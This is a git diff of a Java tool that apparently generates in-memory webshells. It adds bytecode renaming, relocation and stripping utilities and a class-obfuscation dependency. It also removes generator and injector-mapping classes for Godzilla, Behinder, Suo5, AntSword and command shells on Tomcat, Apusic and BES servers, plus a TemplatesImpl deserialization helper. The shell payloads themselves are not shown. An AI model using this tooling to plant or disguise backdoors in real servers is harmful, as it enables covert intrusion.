-        mavenCentral()
-    }
 }
 
 idea {

common/build.gradle

@@ -12,6 +12,7 @@ java {
 
 dependencies {
     implementation 'net.bytebuddy:byte-buddy'
+    implementation 'org.ow2.asm:asm-commons'
     implementation 'commons-io:commons-io'
     implementation 'org.apache.commons:commons-lang3'
     implementation 'commons-codec:commons-codec'

common/src/main/java/com/reajason/javaweb/ClassBytesShrink.java

@@ -0,0 +1,26 @@
+package com.reajason.javaweb;
+
+import net.bytebuddy.jar.asm.ClassReader;
+import net.bytebuddy.jar.asm.ClassVisitor;
+import net.bytebuddy.jar.asm.ClassWriter;
+import net.bytebuddy.jar.asm.Opcodes;
+
+/**
+ * @author ReaJason
+ * @since 2025/2/25
+ */
+public class ClassBytesShrink {
+
+    public static byte[] shrink(byte[] bytes, boolean full) {
+        ClassReader cr = new ClassReader(bytes);
+        ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
+        ClassVisitor cv = new ClassVisitor(Opcodes.ASM9, cw) {
+            @Override
+            public void visitSource(String source, String debug) {
+
+            }
+        };
+        cr.accept(cv, full ? ClassReader.SKIP_DEBUG : 0);
+        return cw.toByteArray();
+    }
+}

common/src/main/java/com/reajason/javaweb/asm/ClassRenameUtils.java

@@ -0,0 +1,53 @@
+package com.reajason.javaweb.asm;
+
+import org.objectweb.asm.ClassReader;
+import org.objectweb.asm.ClassWriter;
+import org.objectweb.asm.commons.ClassRemapper;
+import org.objectweb.asm.commons.Remapper;
+import org.objectweb.asm.commons.SimpleRemapper;
+
+/**
+ * @author ReaJason
+ * @since 2025/3/29
+ */
+public class ClassRenameUtils {
+
+    public static byte[] renameClass(byte[] classBytes, String newName) {
+        ClassReader reader = null;
+        try {
+            reader = new ClassReader(classBytes);
+        } catch (Exception e) {
+            throw new RuntimeException("invalid class bytes");
+        }
+        String oldClassName = reader.getClassName();
+        String newClassName = newName.replace('.', '/');
+        ClassWriter writer = new ClassWriter(reader, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES);
+        ClassRemapper adapter = new ClassRemapper(writer, new SimpleRemapper(oldClassName, newClassName));
+        reader.accept(adapter, 0);
+        return writer.toByteArray();
+    }
+
+    public static byte[] relocateClass(byte[] classBytes, String relocateClassPackage, String relocatePrefix) {
+        ClassReader reader = null;
+        try {
+            reader = new ClassReader(classBytes);
+        } catch (Exception e) {
+            throw new RuntimeException("invalid class bytes");
+        }
+        String oldClassName = relocateClassPackage.replace('.', '/');
+        String newClassName = relocatePrefix.replace('.', '/');
+        ClassWriter writer = new ClassWriter(reader, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES);
+        ClassRemapper adapter = new ClassRemapper(writer, new Remapper() {
+            @Override
+            public String map(String typeName) {
+                if (typeName.startsWith(oldClassName)) {
+                    return typeName.replaceFirst(oldClassName, newClassName);
+                } else {
+                    return typeName;
+                }
+            }
+        });
+        reader.accept(adapter, 0);
+        return writer.toByteArray();
+    }
+}

common/src/main/java/com/reajason/javaweb/asm/InnerClassDiscovery.java

@@ -0,0 +1,70 @@
+package com.reajason.javaweb.asm;
+
+import lombok.Getter;
+import org.objectweb.asm.ClassReader;
+import org.objectweb.asm.ClassVisitor;
+import org.objectweb.asm.Opcodes;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.HashSet;
+import java.util.Set;
+
+public class InnerClassDiscovery {
+
+    /**
+     * Discovers all inner classes for a given class
+     *
+     * @param originalClass The class to discover inner classes for
+     * @return A set of fully qualified inner class names
+     */
+    public static Set<String> findAllInnerClasses(Class<?> originalClass) throws IOException {
+        Set<String> innerClasses;
+        String resourceName = originalClass.getName().replace('.', '/') + ".class";
+        try (InputStream is = originalClass.getClassLoader().getResourceAsStream(resourceName)) {
+            if (is == null) {
+                throw new IOException("Could not find class file for " + originalClass.getName());
+            }
+
+            ClassReader reader = new ClassReader(is);
+            InnerClassCollector collector = new InnerClassCollector(originalClass.getName());
+            reader.accept(collector, ClassReader.SKIP_CODE | ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES);
+
+            innerClasses = new HashSet<>(collector.getInnerClasses());
+        }
+        try {
+            for (Class<?> innerClass : originalClass.getDeclaredClasses()) {
+                innerClasses.add(innerClass.getName());
+                innerClasses.addAll(findAllInnerClasses(innerClass));
+            }
+        } catch (SecurityException ignored) {
+        }
+
+        return innerClasses;
+    }
+
+    private static class InnerClassCollector extends ClassVisitor {
+        private final String originalClassName;
+        @Getter
+        private final Set<String> innerClasses = new HashSet<>();
+
+        public InnerClassCollector(String originalClassName) {
+            super(Opcodes.ASM9);
+            this.originalClassName = originalClassName.replace('/', '.');
+        }
+
+        @Override
+        public void visitInnerClass(String name, String outerName, String innerName, int access) {
+            String className = name.replace('/', '.');
+            if (outerName != null) {
+                String outerClassName = outerName.replace('/', '.');
+                if (outerClassName.equals(originalClassName)) {
+                    innerClasses.add(className);
+                }
+            } else if (className.startsWith(originalClassName + "$")) {
+                innerClasses.add(className);
+            }
+        }
+
+    }
+}

common/src/main/java/com/reajason/javaweb/buddy/ClassRenameVisitorWrapper.java

@@ -0,0 +1,62 @@
+package com.reajason.javaweb.buddy;
+
+import net.bytebuddy.asm.AsmVisitorWrapper;
+import net.bytebuddy.description.field.FieldDescription;
+import net.bytebuddy.description.field.FieldList;
+import net.bytebuddy.description.method.MethodList;
+import net.bytebuddy.description.type.TypeDescription;
+import net.bytebuddy.implementation.Implementation;
+import net.bytebuddy.jar.asm.ClassVisitor;
+import net.bytebuddy.jar.asm.commons.ClassRemapper;
+import net.bytebuddy.jar.asm.commons.Remapper;
+import net.bytebuddy.pool.TypePool;
+import org.jetbrains.annotations.NotNull;
+
+/**
+ * @author ReaJason
+ * @since 2025/3/27
+ */
+public class ClassRenameVisitorWrapper implements AsmVisitorWrapper {
+    public final String originalClassName;
+    public final String newClassName;
+
+    public ClassRenameVisitorWrapper(String originalClassName, String newClassName) {
+        this.originalClassName = originalClassName.replace('.', '/');
+        this.newClassName = newClassName.replace('.', '/');
+    }
+
+
+    @Override
+    public int mergeReader(int flags) {
+        return flags;
+    }
+
+    @Override
+    public int mergeWriter(int flags) {
+        return flags;
+    }
+
+    @NotNull
+    @Override
+    public ClassVisitor wrap(@NotNull TypeDescription instrumentedType,
+                             @NotNull ClassVisitor classVisitor,
+                             @NotNull Implementation.Context implementationContext,
+                             @NotNull TypePool typePool,
+                             @NotNull FieldList<FieldDescription.InDefinedShape> fields,
+                             @NotNull MethodList<?> methods,
+                             int writerFlags,
+                             int readerFlags) {
+        return new ClassRemapper(
+                classVisitor,
+                new Remapper() {
+                    @Override
+                    public String map(String typeName) {
+                        if (typeName.startsWith(originalClassName)) {
+                            return typeName.replaceFirst(originalClassName, newClassName);
+                        } else {
+                            return typeName;
+                        }
+                    }
+                });
+    }
+}

common/src/main/java/com/reajason/javaweb/buddy/MethodCallReplaceVisitorWrapper.java

@@ -0,0 +1,53 @@
+package com.reajason.javaweb.buddy;
+
+import net.bytebuddy.asm.AsmVisitorWrapper;
+import net.bytebuddy.description.method.MethodDescription;
+import net.bytebuddy.description.type.TypeDescription;
+import net.bytebuddy.implementation.Implementation;
+import net.bytebuddy.jar.asm.MethodVisitor;
+import net.bytebuddy.jar.asm.Opcodes;
+import net.bytebuddy.pool.TypePool;
+import org.jetbrains.annotations.NotNull;
+
+import java.util.Set;
+import java.util.stream.Collectors;
+
+/**
+ * @author ReaJason
+ */
+public class MethodCallReplaceVisitorWrapper implements AsmVisitorWrapper.ForDeclaredMethods.MethodVisitorWrapper {
+
+    private final String targetClassName;
+    private final Set<String> replaceClassNames;
+
+    public MethodCallReplaceVisitorWrapper(String targetClassName, Set<String> replaceClassNames) {
+        this.targetClassName = targetClassName.replace(".", "/");
+        this.replaceClassNames = replaceClassNames.stream().map(s -> s.replace(".", "/")).collect(Collectors.toSet());
+    }
+
+    @NotNull
+    @Override
+    public MethodVisitor wrap(@NotNull TypeDescription instrumentedType,
+                              @NotNull MethodDescription instrumentedMethod,
+                              @NotNull MethodVisitor methodVisitor,
+                              @NotNull Implementation.Context implementationContext,
+                              @NotNull TypePool typePool,
+                              int writerFlags,
+                              int readerFlags) {
+        return new MethodVisitor(Opcodes.ASM9, methodVisitor) {
+            @Override
+            public void visitMethodInsn(int opcode, String owner, String name, String descriptor, boolean isInterface) {
+                if (opcode == Opcodes.INVOKESTATIC
+                        && replaceClassNames.contains(owner)) {
+                    super.visitMethodInsn(Opcodes.INVOKESTATIC,
+                            targetClassName,
+                            name,
+                            descriptor,
+                            false);
+                } else {
+                    super.visitMethodInsn(opcode, owner, name, descriptor, isInterface);
+                }
+            }
+        };
+    }
+}

common/src/main/java/com/reajason/javaweb/buddy/MethodSubstitutionExample.java

@@ -1,76 +0,0 @@
-package com.reajason.javaweb.buddy;
-
-import net.bytebuddy.ByteBuddy;
-import net.bytebuddy.asm.AsmVisitorWrapper;
-import net.bytebuddy.dynamic.DynamicType;
-import net.bytebuddy.jar.asm.MethodVisitor;
-import net.bytebuddy.jar.asm.Opcodes;
-
-import java.nio.file.Files;
-import java.nio.file.Paths;
-
-import static net.bytebuddy.matcher.ElementMatchers.named;
-
-public class MethodSubstitutionExample {
-
-
-    public static class MethodReplacementMethodVisitor extends MethodVisitor {
-        private final String targetClassName;
-
-        public MethodReplacementMethodVisitor(MethodVisitor mv, String targetClassName) {
-            super(Opcodes.ASM9, mv);
-            this.targetClassName = targetClassName;
-        }
-
-        @Override
-        public void visitMethodInsn(int opcode, String owner, String name, String descriptor, boolean isInterface) {
-            if (opcode == Opcodes.INVOKESTATIC
-                    && owner.endsWith("ExternalClass")
-                    && name.equals("replacementMethod")) {
-                super.visitMethodInsn(Opcodes.INVOKESTATIC,
-                        targetClassName.replace(".", "/"),
-                        name,
-                        descriptor,
-                        false);
-            } else {
-                super.visitMethodInsn(opcode, owner, name, descriptor, isInterface);
-            }
-        }
-    }
-
-    public static class ExternalClass {
-        public static String externalMethod(String input) {
-            return "External: " + input;
-        }
-
-        public static String replacementMethod(String input) {
-            return "Replaced: " + input;
-        }
-    }
-
-    public static class TargetClass {
-        public String targetMethod(String input) {
-            System.out.println("targetMethod");
-            return ExternalClass.replacementMethod(input);
-        }
-
-        public static String replacementMethod(String input) {
-            return "Replaced: " + input;
-        }
-    }
-
-    public static void main(String[] args) throws Exception {
-        String oldClassName = TargetClass.class.getName();
-        String newClassName = oldClassName + "Redefinition";
-
-        DynamicType.Unloaded<TargetClass> dynamicType = new ByteBuddy()
-                .redefine(TargetClass.class)
-                .name(newClassName)
-                .visit(new AsmVisitorWrapper.ForDeclaredMethods().method(named("targetMethod"), (typeDescription, methodDescription, methodVisitor, context, typePool, i, i1) -> new MethodReplacementMethodVisitor(methodVisitor, newClassName)))
-                .make();
-
-        Files.write(Paths.get("xixi.class"), dynamicType.getBytes());
-        Class<?> redefinedClass = dynamicType.load(MethodSubstitutionExample.class.getClassLoader())
-                .getLoaded();
-    }
-}

common/src/test/java/com/reajason/javaweb/buddy/MethodCallReplaceVisitorWrapperTest.java

@@ -0,0 +1,62 @@
+package com.reajason.javaweb.buddy;
+
+import net.bytebuddy.ByteBuddy;
+import net.bytebuddy.asm.AsmVisitorWrapper;
+import net.bytebuddy.dynamic.DynamicType;
+import org.junit.jupiter.api.Test;
+
+import java.util.Collections;
+
+import static net.bytebuddy.matcher.ElementMatchers.named;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2025/2/22
+ */
+class MethodCallReplaceVisitorWrapperTest {
+
+    public static class ExternalClass {
+        public static String externalMethod(String input) {
+            return "External: " + input;
+        }
+
+        public static String replacementMethod(String input) {
+            return "Replaced: " + input;
+        }
+    }
+
+    public static class TargetClass {
+        public String targetMethod(String input) {
+            System.out.println("targetMethod");
+            return ExternalClass.replacementMethod(input);
+        }
+
+        public static String replacementMethod(String input) {
+            return "Replaced: " + input;
+        }
+    }
+
+    @Test
+    void test() throws Exception {
+        String newClassName = TargetClass.class.getName() + "Redefinition";
+        DynamicType.Unloaded<TargetClass> dynamicType = new ByteBuddy()
+                .redefine(TargetClass.class)
+                .name(newClassName)
+                .visit(new AsmVisitorWrapper
+                        .ForDeclaredMethods()
+                        .method(named("targetMethod"),
+                                new MethodCallReplaceVisitorWrapper(
+                                        newClassName,
+                                        Collections.singleton(ExternalClass.class.getName())
+                                )
+                        )
+                )
+                .make();
+        Class<?> redefinedClass = dynamicType.load(MethodCallReplaceVisitorWrapperTest.class.getClassLoader())
+                .getLoaded();
+        Object object = redefinedClass.newInstance();
+        Object result = object.getClass().getMethod("targetMethod", String.class).invoke(object, "xixi");
+        assertEquals("Replaced: xixi", result);
+    }
+}

deserialize/src/main/java/com/reajason/javaweb/deserialize/TemplateUtils.java

@@ -13,27 +13,11 @@ import net.bytebuddy.dynamic.DynamicType;
  * @since 2024/12/9
  */
 public class TemplateUtils {
-    public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
-    public static Class TPL_CLASS = TemplatesImpl.class;
-    public static Class ABST_TRANSLET = AbstractTranslet.class;
-    public static Class TRANS_FACTORY = TransformerFactoryImpl.class;
-
-    static {
-        try {
-            // 兼容不同 JDK 版本
-            if (Boolean.parseBoolean(System.getProperty("properXalan", "false"))) {
-                TPL_CLASS = Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl");
-                ABST_TRANSLET = Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet");
-                TRANS_FACTORY = Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl");
-            }
-        } catch (Exception ignored) {
-        }
-    }
 
     @SneakyThrows
     public static TemplatesImpl createTemplatesImpl(byte[] bytes) {
         TemplatesImpl templates = new TemplatesImpl();
-        byte[] fooBytes = new byte[0];
+        byte[] fooBytes;
         try (DynamicType.Unloaded<Object> make = new ByteBuddy()
                 .subclass(Object.class).name("foo")
                 .make()) {

generator/build.gradle

@@ -4,45 +4,47 @@ plugins {
 
 java {
     toolchain {
-        languageVersion = JavaLanguageVersion.of(17)
+        languageVersion = JavaLanguageVersion.of(8)
     }
+    sourceCompatibility = JavaVersion.VERSION_1_8
+    targetCompatibility = JavaVersion.VERSION_1_8
 }
 
 group = 'com.reajason.javaweb.memsell'
 version = rootProject.version
 
+tasks.withType(Test).configureEach {
+    javaLauncher = javaToolchains.launcherFor {
+        languageVersion = JavaLanguageVersion.of(17)
+    }
+}
+
+tasks.named('compileTestJava') {
+    javaCompiler = javaToolchains.compilerFor {
+        languageVersion = JavaLanguageVersion.of(17)
+    }
+    sourceCompatibility = JavaVersion.VERSION_17
+    targetCompatibility = JavaVersion.VERSION_17
+}
+
 test {
     useJUnitPlatform()
     finalizedBy jacocoTestReport
 }
 
-def runtimeJvmArgs = [
-        '--add-opens=java.base/java.util=ALL-UNNAMED',
-        '--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
-        '--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
-]
-
-tasks.withType(Test).configureEach {
-    jvmArgs += runtimeJvmArgs
-}
-
-// For running the application
-tasks.withType(JavaExec).configureEach {
-    jvmArgs += runtimeJvmArgs
-}
-
 dependencies {
     implementation project(":common")
     implementation project(":deserialize")
     implementation project(":memshell")
     implementation project(":memshell-java8")
     implementation 'net.bytebuddy:byte-buddy'
+    implementation 'org.ow2.asm:asm-commons'
+    implementation 'com.github.jar-analyzer:class-obf'
 
     implementation 'javax.servlet:javax.servlet-api'
     implementation 'javax.websocket:javax.websocket-api'
     implementation 'jakarta.servlet:jakarta.servlet-api'
 
-    implementation 'xalan:xalan'
     implementation 'org.apache.bcel:bcel'
 
     implementation 'commons-io:commons-io'
@@ -51,7 +53,6 @@ dependencies {
     implementation 'com.squareup.okhttp3:okhttp'
     implementation 'ch.qos.logback:logback-classic'
     implementation 'com.alibaba.fastjson2:fastjson2'
-//    implementation 'org.java-websocket:Java-WebSocket'
 
     implementation 'org.springframework:spring-webmvc'
     implementation 'org.springframework:spring-webflux'
@@ -61,4 +62,5 @@ dependencies {
     testImplementation 'org.junit.jupiter:junit-jupiter'
     testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
     testImplementation "org.mockito:mockito-core"
+    testImplementation 'org.mockito:mockito-junit-jupiter'
 }

generator/src/main/java/com/reajason/javaweb/GeneratorMain.java

@@ -1,81 +0,0 @@
-package com.reajason.javaweb;
-
-import com.reajason.javaweb.memshell.AbstractShell;
-import com.reajason.javaweb.memshell.config.*;
-import com.reajason.javaweb.memshell.packer.Packers;
-import com.reajason.javaweb.memshell.utils.CommonUtil;
-import lombok.SneakyThrows;
-import net.bytebuddy.jar.asm.Opcodes;
-import org.apache.commons.codec.binary.Base64;
-import org.apache.commons.lang3.StringUtils;
-
-import java.io.IOException;
-
-/**
- * @author ReaJason
- * @since 2024/11/24
- */
-public class GeneratorMain {
-
-    public static void main(String[] args) throws IOException {
-        ShellConfig shellConfig = ShellConfig.builder()
-                .server(Server.Tomcat)
-                .shellTool(ShellTool.Suo5)
-                .shellType(Constants.FILTER)
-                .targetJreVersion(Opcodes.V1_8)
-                .debug(true)
-                .build();
-        GodzillaConfig godzillaConfig = GodzillaConfig.builder()
-                .pass("pass")
-                .key("key")
-                .headerName("User-Agent")
-                .headerValue("test123").build();
-        CommandConfig commandConfig = CommandConfig.builder().paramName("listener").build();
-
-        BehinderConfig behinderConfig = BehinderConfig.builder()
-                .pass("test123")
-                .headerName("User-Agent")
-                .headerValue("test").build();
-
-        Suo5Config suo5Config = Suo5Config.builder()
-                .headerName("User-Agent")
-                .headerValue("test").build();
-
-        InjectorConfig injectorConfig = new InjectorConfig();
-
-        GenerateResult generateResult = generate(shellConfig, injectorConfig, suo5Config);
-        if (generateResult != null) {
-//            Files.write(Paths.get(generateResult.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW);
-//            Files.write(Paths.get(generateResult.getShellClassName() + ".class"), generateResult.getShellBytes(), StandardOpenOption.CREATE_NEW);
-//            System.out.println(Base64.encodeBase64String(generateResult.getInjectorBytes()));
-            System.out.println(Packers.ScriptEngine.getInstance().pack(generateResult));
-//            Files.write(Path.of("target.jar"), Packer.INSTANCE.AgentJar.getPacker().packBytes(generateResult));
-        }
-    }
-
-    public static GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
-        Server server = shellConfig.getServer();
-        AbstractShell shell = server.getShell();
-        if (shell == null) {
-            throw new IllegalArgumentException("Unsupported server");
-        }
-        if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
-            shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(server, shellConfig.getShellType()));
-        }
-
-        if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) {
-            injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName());
-        }
-
-        return shell.generate(shellConfig, injectorConfig, shellToolConfig);
-    }
-
-    @SneakyThrows
-    public static String generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig, Packers packerInstance) {
-        GenerateResult generateResult = generate(shellConfig, injectorConfig, shellToolConfig);
-        if (generateResult != null) {
-            return packerInstance.getInstance().pack(generateResult);
-        }
-        return null;
-    }
-}

generator/src/main/java/com/reajason/javaweb/memshell/AbstractShell.java

@@ -1,107 +0,0 @@
-package com.reajason.javaweb.memshell;
-
-import com.reajason.javaweb.memshell.config.*;
-import com.reajason.javaweb.memshell.generator.*;
-import org.apache.commons.lang3.tuple.Pair;
-
-import java.util.Collections;
-import java.util.List;
-import java.util.Map;
-import java.util.stream.Collectors;
-
-/**
- * @author ReaJason
- * @since 2024/12/7
- */
-public abstract class AbstractShell {
-    /**
-     * 获取内存马功能所支持的注入类型列表
-     *
-     * @param tool 内存马功能
-     * @return shellTypes
-     */
-    public List<String> getSupportedShellTypes(ShellTool tool) {
-        return switch (tool) {
-            case Godzilla -> getGodzillaShellMap().keySet().stream().toList();
-            case Command -> getCommandShellMap().keySet().stream().toList();
-            case Behinder -> getBehinderShellMap().keySet().stream().toList();
-            case Suo5 -> getSuo5ShellMap().keySet().stream().toList();
-            case AntSword -> getAntSwordShellMap().keySet().stream().toList();
-            default -> Collections.emptyList();
-        };
-    }
-
-    public GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
-        Pair<Class<?>, Class<?>> shellInjectorPair = getShellInjectorPair(shellConfig.getShellTool(), shellConfig.getShellType());
-        if (shellInjectorPair == null) {
-            throw new UnsupportedOperationException("Unknown shell type: " + shellConfig.getShellType());
-        }
-        Class<?> shellClass = shellInjectorPair.getLeft();
-        Class<?> injectorClass = shellInjectorPair.getRight();
-
-        shellToolConfig.setShellClass(shellClass);
-
-        byte[] shellBytes = generateShellBytes(shellConfig, shellToolConfig);
-
-        injectorConfig = injectorConfig
-                .toBuilder()
-                .injectorClass(injectorClass)
-                .shellClassName(shellToolConfig.getShellClassName())
-                .shellClassBytes(shellBytes).build();
-
-        byte[] injectorBytes = new InjectorGenerator(shellConfig, injectorConfig).generate();
-
-        return GenerateResult.builder()
-                .shellConfig(shellConfig)
-                .shellToolConfig(shellToolConfig)
-                .injectorConfig(injectorConfig)
-                .shellClassName(shellToolConfig.getShellClassName())
-                .shellBytes(shellBytes)
-                .injectorClassName(injectorConfig.getInjectorClassName())
-                .injectorBytes(injectorBytes)
-                .build();
-    }
-
-    protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
-        return Collections.emptyMap();
-    }
-
-    protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
-        return Collections.emptyMap();
-    }
-
-    protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
-        return Collections.emptyMap();
-    }
-
-    protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
-        return Collections.emptyMap();
-    }
-
-    protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
-        return Collections.emptyMap();
-    }
-
-    private Pair<Class<?>, Class<?>> getShellInjectorPair(ShellTool shellTool, String shellType) {
-        Map<String, Pair<Class<?>, Class<?>>> shellMap = switch (shellTool) {
-            case Godzilla -> getGodzillaShellMap();
-            case Command -> getCommandShellMap();
-            case Behinder -> getBehinderShellMap();
-            case Suo5 -> getSuo5ShellMap();
-            case AntSword ->  getAntSwordShellMap();
-            default -> throw new UnsupportedOperationException("Unknown shell type: " + shellType);
-        };
-        return shellMap.get(shellType);
-    }
-
-    private byte[] generateShellBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
-        return switch (shellConfig.getShellTool()) {
-            case Godzilla -> new GodzillaGenerator(shellConfig, (GodzillaConfig) shellToolConfig).getBytes();
-            case Command -> CommandGenerator.generate(shellConfig, (CommandConfig) shellToolConfig);
-            case Behinder -> new BehinderGenerator(shellConfig, (BehinderConfig) shellToolConfig).getBytes();
-            case Suo5 -> new Suo5Generator(shellConfig, ((Suo5Config) shellToolConfig)).getBytes();
-            case AntSword -> new AntSwordGenerator(shellConfig, (AntSwordConfig) shellToolConfig).getBytes();
-            default -> throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool());
-        };
-    }
-}

generator/src/main/java/com/reajason/javaweb/memshell/ApusicShell.java

@@ -1,77 +0,0 @@
-package com.reajason.javaweb.memshell;
-
-import com.reajason.javaweb.memshell.apusic.antsword.AntSwordListener;
-import com.reajason.javaweb.memshell.apusic.behinder.BehinderListener;
-import com.reajason.javaweb.memshell.apusic.command.CommandListener;
-import com.reajason.javaweb.memshell.apusic.godzilla.GodzillaListener;
-import com.reajason.javaweb.memshell.apusic.injector.ApusicFilterInjector;
-import com.reajason.javaweb.memshell.apusic.injector.ApusicListenerInjector;
-import com.reajason.javaweb.memshell.apusic.injector.ApusicServletInjector;
-import com.reajason.javaweb.memshell.apusic.suo5.Suo5Listener;
-import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
-import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
-import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
-import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
-import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
-import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
-import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
-import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
-import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
-import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
-import org.apache.commons.lang3.tuple.Pair;
-
-import java.util.LinkedHashMap;
-import java.util.Map;
-
-import static com.reajason.javaweb.memshell.config.Constants.*;
-
-/**
- * @author ReaJason
- * @since 2024/12/27
- */
-public class ApusicShell extends AbstractShell {
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(SERVLET, Pair.of(CommandServlet.class, ApusicServletInjector.class));
-        map.put(FILTER, Pair.of(CommandFilter.class, ApusicFilterInjector.class));
-        map.put(LISTENER, Pair.of(CommandListener.class, ApusicListenerInjector.class));
-        return map;
-    }
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(SERVLET, Pair.of(GodzillaServlet.class, ApusicServletInjector.class));
-        map.put(FILTER, Pair.of(GodzillaFilter.class, ApusicFilterInjector.class));
-        map.put(LISTENER, Pair.of(GodzillaListener.class, ApusicListenerInjector.class));
-        return map;
-    }
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(SERVLET, Pair.of(BehinderServlet.class, ApusicServletInjector.class));
-        map.put(FILTER, Pair.of(BehinderFilter.class, ApusicFilterInjector.class));
-        map.put(LISTENER, Pair.of(BehinderListener.class, ApusicListenerInjector.class));
-        return map;
-    }
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(SERVLET, Pair.of(Suo5Servlet.class, ApusicServletInjector.class));
-        map.put(FILTER, Pair.of(Suo5Filter.class, ApusicFilterInjector.class));
-        map.put(LISTENER, Pair.of(Suo5Listener.class, ApusicListenerInjector.class));
-        return map;
-    }
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(SERVLET, Pair.of(AntSwordServlet.class, ApusicServletInjector.class));
-        map.put(FILTER, Pair.of(AntSwordFilter.class, ApusicFilterInjector.class));
-        map.put(LISTENER, Pair.of(AntSwordListener.class, ApusicListenerInjector.class));
-        return map;
-    }
-}

generator/src/main/java/com/reajason/javaweb/memshell/BesShell.java

@@ -1,88 +0,0 @@
-package com.reajason.javaweb.memshell;
-
-import com.reajason.javaweb.memshell.bes.antsword.AntSwordValve;
-import com.reajason.javaweb.memshell.bes.behinder.BehinderValve;
-import com.reajason.javaweb.memshell.bes.command.CommandValve;
-import com.reajason.javaweb.memshell.bes.godzilla.GodzillaValve;
-import com.reajason.javaweb.memshell.bes.injector.*;
-import com.reajason.javaweb.memshell.bes.suo5.Suo5Valve;
-import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
-import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
-import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
-import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
-import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
-import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
-import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
-import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
-import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
-import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener;
-import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
-import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
-import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
-import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener;
-import org.apache.commons.lang3.tuple.Pair;
-
-import java.util.LinkedHashMap;
-import java.util.Map;
-
-import static com.reajason.javaweb.memshell.config.Constants.*;
-
-/**
- * @author ReaJason
- * @since 2024/12/26
- */
-public class BesShell extends AbstractShell {
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(FILTER, Pair.of(CommandFilter.class, BesFilterInjector.class));
-        map.put(LISTENER, Pair.of(CommandListener.class, BesListenerInjector.class));
-        map.put(VALVE, Pair.of(CommandValve.class, BesValveInjector.class));
-        map.put(AGENT_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, BesFilterChainAgentInjector.class));
-        map.put(AGENT_CONTEXT_VALVE, Pair.of(CommandFilterChainAdvisor.class, BesContextValveAgentInjector.class));
-        return map;
-    }
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
